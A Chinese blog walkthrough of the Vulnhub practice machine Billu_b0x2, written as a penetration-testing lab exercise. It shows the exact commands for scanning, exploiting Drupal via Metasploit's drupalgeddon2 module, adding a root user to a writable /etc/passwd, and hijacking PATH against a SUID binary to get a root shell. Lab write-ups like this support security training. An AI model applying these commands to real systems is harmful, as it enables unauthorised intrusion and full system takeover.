Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

个人博客阅读体验更佳

本次来试玩一下vulnhub上的Billu_b0x2,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

win7: 192.168.31.44
kali: 192.168.31.17
靶机: 192.168.31.132


信息搜集

主机发现得到靶机ip,接着进行端口扫描

nmap -sV -A -p- 192.168.31.132

开放了22, 80, 111, 8080, 55532端口
80端口还扫出了部分目录。

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

网页登上去看一眼
Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub
出了一个搜索框和login其他没有什么要素了。
接着御剑扫一下,扫出了80端口下的robots.txt,根据其中的提示进行文件遍历,web.config并没有有用的信息,最终在README.txt中找到/core/install.php,告诉我们具体的CMS版本号是Drupal 8.3.5
8080端口有一个/manager的401登录

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub


渗透过程

由于看到了login, 点进去瞄一眼,有登录、注册、重置三个窗口,重置需要发送邮件显然没有着手点,登录尝试sql注入无果,弱密码爆破无果。注册发现有图片上传,先测试一下注册一个普通用户,但这个靶场环境没有邮件服务器无法注册成功,而且上传的图片也没有路径提示(后来webshell连上去才发现路径在/var/www/html/sites/default/files/pictures/[data]/下)。
这三个地方都无法入手,后来才想到Drupal7.x和8.x都有致命bug(CVE-2018-7600CVE-2018-7602)
或者直接在msf中搜索漏洞

$ msfconsole
$ search drupal
$ use exploit/unix/webapp/drupal_drupalgeddon2 # use 1
$ set rhosts 192.168.31.132
$ exploit

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub


提权

- 方法一

看到ubuntu 14.04想到直接脏牛提权,但不知道为什么各种内核漏洞提权都失效了。
发现/etc/passwd拥有777权限,尝试添加一个最高权限的admin用户,直接切过去即可

需要用到openssl生成一个hash加密的密码

$ openssl passwd -1 -salt admin 123456

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

在/etc/passwd最后追加一行用户信息

$ admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:::/bin/bash

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

直接su admin输入密码123456即可提权成功

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

方法二

查看哪些文件有SUID权限

$ find / -perm -4000 -type f 2>/dev/null

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

发现/opt/s很可疑,strings看一下二进制命令,发现是scp命令使用了root权限

$ strings /opt/s

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

因此可以自己伪造一个假的scp命令,然后添加到环境变量让他执行。

$ cd /tmp
$ echo "/bin/bash" > scp
$ chmod +x scp
$ echo $PATH
$ export PATH=/tmp:$PATH
$ cd /opt
$ ./s

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub


补充:

环境变量提权见此

整体提权原理: 通过发现/opt/s拥有SUID权限,则其运行时进程并不属于发起者,而是文件所有者,这里是root。strings查看二进制发现s以root运行了scp这个命令,但是没有指定具体的文件路径,因此可以伪造一个假的scp并添加到环境变量,让s去以root运行/tmp中的假的scp,而假的scp中又写入了我们写的/bin/bash,相当于直接运行了sudo /bin/bash

上一篇:编辑距离算法-DP问题


下一篇:Linux下软件的安装与管理